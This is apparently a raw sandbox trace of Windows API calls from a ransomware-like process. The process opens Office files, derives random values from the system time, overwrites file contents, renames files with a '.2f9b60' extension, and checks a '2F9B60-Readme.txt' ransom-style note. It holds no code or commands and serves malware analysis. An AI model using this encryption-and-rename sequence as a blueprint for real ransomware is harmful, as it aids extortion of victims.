[0146.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205079b0 [0146.594] wcscat (in: _Dest=0x205079b0, _Source="b83e1e8e5470373" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373" [0146.594] wcscat (in: _Dest=0x205079b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373.2f9b60" [0146.594] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373.2f9b60", NtPathName=0x1d9afb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\b83e1e8e5470373.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22920 [0146.595] NtSetInformationFile (FileHandle=0x1f98, IoStatusBlock=0x1d9afbb0, FileInformation=0x1ce22920, Length=0xac, FileInformationClass=0xa) returned 0x0 [0165.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22920) returned 1 [0165.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced4dd0) returned 1 [0165.307] NtQueryInformationFile (in: FileHandle=0x1f98, IoStatusBlock=0x1d9afb78, FileInformation=0x1d9afb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d9afb78, FileInformation=0x1d9afb88) returned 0x0 [0165.307] NtSetInformationFile (FileHandle=0x1f98, IoStatusBlock=0x1d9afb78, FileInformation=0x1d9afb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0166.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a860) returned 1 [0166.457] FlushFileBuffers (hFile=0x1f98) returned 1 [0187.653] CloseHandle (hObject=0x1f98) returned 1 [0199.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431d9380 [0199.647] wcscpy (in: _Dest=0x431d9380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0199.647] wcscat (in: _Dest=0x431d9380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0199.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0199.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9380) returned 1 [0199.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b2f0) returned 1 Thread: id = 2240 os_tid = 0xafc [0143.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0145.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK", dwFileAttributes=0x20) returned 1 [0146.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eec [0146.446] GetFileSizeEx (in: hFile=0x1eec, lpFileSize=0x3d44f800 | out: lpFileSize=0x3d44f800*=113) returned 1 [0146.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0146.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.447] NtQuerySystemTime (in: CurrentTime=0x3d44f6c0 | out: CurrentTime=0x3d44f6c0*=132462177516862000) returned 0x0 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x5221084b [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x7cd6d3b8 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x5528d0d6 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x32150ac [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x72216128 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x43242aa [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x3109e91d [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x7f008955 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x77ba37dc [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x2e366432 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x3041c13c [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x4d310904 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x3194989 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x9db059d [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x6969a33f [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x2dc66f70 [0146.447] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x548e6096 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x10279bf1 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x6d1488d7 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x17182eb4 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x127a2a01 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x15fd5a69 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x1043f141 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x540ce0f2 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x38e51cc2 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x2f548948 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x26059095 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x34c2d975 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x39d226d2 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x6701067c [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x4b79f7b5 [0146.448] RtlRandomEx (in: Seed=0x3d44f6b0 | out: Seed=0x3d44f6b0) returned 0x2913c651 [0146.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0146.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0146.477] ReadFile (in: hFile=0x1eec, lpBuffer=0x422401c0, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x3d44f6b0, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3d44f6b0*=0x71, lpOverlapped=0x0) returned 1 [0146.478] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.478] WriteFile (in: hFile=0x1eec, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x3d44f6b4, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x3d44f6b4*=0x71, lpOverlapped=0x0) returned 1 [0146.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0146.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0146.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0146.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fbf0 [0146.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x166f20 [0146.598] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.598] WriteFile (in: hFile=0x1eec, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3d44f7d0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3d44f7d0*=0x110, lpOverlapped=0x0) returned 1 [0146.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced8280 [0146.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0146.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0146.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0146.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059ba0 [0146.640] sprintf (in: _Dest=0x42059ba0, _Format="%c%c" | out: _Dest="44") returned 2 [0146.640] sprintf (in: _Dest=0x42059ba2, _Format="%c%c" | out: _Dest="41") returned 2 [0146.640] sprintf (in: _Dest=0x42059ba4, _Format="%c%c" | out: _Dest="bc") returned 2 [0146.640] sprintf (in: _Dest=0x42059ba6, _Format="%c%c" | out: _Dest="b5") returned 2 [0146.640] sprintf (in: _Dest=0x42059ba8, _Format="%c%c" | out: _Dest="38") returned 2 [0146.640] sprintf (in: _Dest=0x42059baa, _Format="%c%c" | out: _Dest="ca") returned 2 [0146.640] sprintf (in: _Dest=0x42059bac, _Format="%c%c" | out: _Dest="5f") returned 2 [0146.640] sprintf (in: _Dest=0x42059bae, _Format="%c%c" | out: _Dest="ee") returned 2 [0146.640] sprintf (in: _Dest=0x42059bb0, _Format="%c%c" | out: _Dest="4d") returned 2 [0146.640] sprintf (in: _Dest=0x42059bb2, _Format="%c%c" | out: _Dest="92") returned 2 [0146.640] sprintf (in: _Dest=0x42059bb4, _Format="%c%c" | out: _Dest="cb") returned 2 [0146.640] sprintf (in: _Dest=0x42059bb6, _Format="%c%c" | out: _Dest="39") returned 2 [0146.641] sprintf (in: _Dest=0x42059bb8, _Format="%c%c" | out: _Dest="0e") returned 2 [0146.641] sprintf (in: _Dest=0x42059bba, _Format="%c%c" | out: _Dest="9f") returned 2 [0146.641] sprintf (in: _Dest=0x42059bbc, _Format="%c%c" | out: _Dest="d2") returned 2 [0146.641] sprintf (in: _Dest=0x42059bbe, _Format="%c%c" | out: _Dest="7f") returned 2 [0146.641] sprintf (in: _Dest=0x42059bc0, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.641] sprintf (in: _Dest=0x42059bc2, _Format="%c%c" | out: _Dest="89") returned 2 [0146.641] sprintf (in: _Dest=0x42059bc4, _Format="%c%c" | out: _Dest="6e") returned 2 [0146.641] sprintf (in: _Dest=0x42059bc6, _Format="%c%c" | out: _Dest="05") returned 2 [0146.641] sprintf (in: _Dest=0x42059bc8, _Format="%c%c" | out: _Dest="e7") returned 2 [0146.641] sprintf (in: _Dest=0x42059bca, _Format="%c%c" | out: _Dest="f8") returned 2 [0146.641] sprintf (in: _Dest=0x42059bcc, _Format="%c%c" | out: _Dest="b0") returned 2 [0146.641] sprintf (in: _Dest=0x42059bce, _Format="%c%c" | out: _Dest="24") returned 2 [0146.641] sprintf (in: _Dest=0x42059bd0, _Format="%c%c" | out: _Dest="84") returned 2 [0146.641] sprintf (in: _Dest=0x42059bd2, _Format="%c%c" | out: _Dest="b0") returned 2 [0146.641] sprintf (in: _Dest=0x42059bd4, _Format="%c%c" | out: _Dest="fe") returned 2 [0146.641] sprintf (in: _Dest=0x42059bd6, _Format="%c%c" | out: _Dest="a1") returned 2 [0146.641] sprintf (in: _Dest=0x42059bd8, _Format="%c%c" | out: _Dest="37") returned 2 [0146.641] sprintf (in: _Dest=0x42059bda, _Format="%c%c" | out: _Dest="76") returned 2 [0146.641] RtlInitAnsiString (in: DestinationString=0x3d44f848, SourceString="4441bcb538ca5fee4d92cb390e9fd27f7b896e05e7f8b02484b0fea13776" | out: DestinationString="4441bcb538ca5fee4d92cb390e9fd27f7b896e05e7f8b02484b0fea13776") [0146.641] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d44f818, SourceString="4441bcb538ca5fee4d92cb390e9fd27f7b896e05e7f8b02484b0fea13776", AllocateDestinationString=1 | out: DestinationString="4441bcb538ca5fee4d92cb390e9fd27f7b896e05e7f8b02484b0fea13776") returned 0x0 [0146.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86ab30 [0146.642] RtlFreeAnsiString (AnsiString="4") [0146.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0146.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507730 [0146.644] wcscat (in: _Dest=0x20507730, _Source="4441bcb538ca5fe" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe" [0146.644] wcscat (in: _Dest=0x20507730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe.2f9b60" [0146.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe.2f9b60", NtPathName=0x3d44f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\4441bcb538ca5fe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce21f60 [0146.644] NtSetInformationFile (FileHandle=0x1eec, IoStatusBlock=0x3d44f890, FileInformation=0x1ce21f60, Length=0xac, FileInformationClass=0xa) Thread: id = 2241 os_tid = 0x7e8 [0143.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0145.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL", dwFileAttributes=0x20) returned 1 [0146.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f7c [0146.519] GetFileSizeEx (in: hFile=0x1f7c, lpFileSize=0x3eb0fc00 | out: lpFileSize=0x3eb0fc00*=37760) returned 1 [0146.519] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x937c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.519] ReadFile (in: hFile=0x1f7c, lpBuffer=0x3eb0fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3eb0fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3eb0fb80*, lpNumberOfBytesRead=0x3eb0fbc8*=0x4, lpOverlapped=0x0) returned 1 [0146.564] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0146.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0146.565] NtQuerySystemTime (in: CurrentTime=0x3eb0fac0 | out: CurrentTime=0x3eb0fac0*=132462177518110000) returned 0x0 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x14fb8557 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x72dfb625 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6d02b70e [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x4d525705 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x76ff3ac2 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6ffcafd5 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6849bbc8 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x16ddbfd3 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x1836b129 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6810587e [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x5d2e413f [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x4a759e57 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x139dfb22 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x776fb2c7 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x1ee99f7e [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x646882ea [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x63157a37 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6c5d8b94 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x1319435d [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x1140295e [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x842545c [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x34774fcf [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x13732262 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x10f2cdfa [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x789e693 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x58a594fa [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x520cf129 [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x39592fef [0146.565] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x47a853ab [0146.566] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x4f9c632e [0146.566] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x6e8a98a3 [0146.566] RtlRandomEx (in: Seed=0x3eb0fab0 | out: Seed=0x3eb0fab0) returned 0x22a725ee [0146.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0146.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0146.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b3dd0 [0146.574] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.574] ReadFile (in: hFile=0x1f7c, lpBuffer=0x421b3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3eb0fb20, lpOverlapped=0x0 | out: lpBuffer=0x421b3dd0*, lpNumberOfBytesRead=0x3eb0fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0146.633] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0146.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0146.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bb5f0 [0146.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0146.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0146.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6cf0) returned 1 [0146.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.634] WriteFile (hFile=0x1f7c, lpBuffer=0x421bb5f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3eb0fb20, lpOverlapped=0x0) [0179.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421bb5f0) returned 1 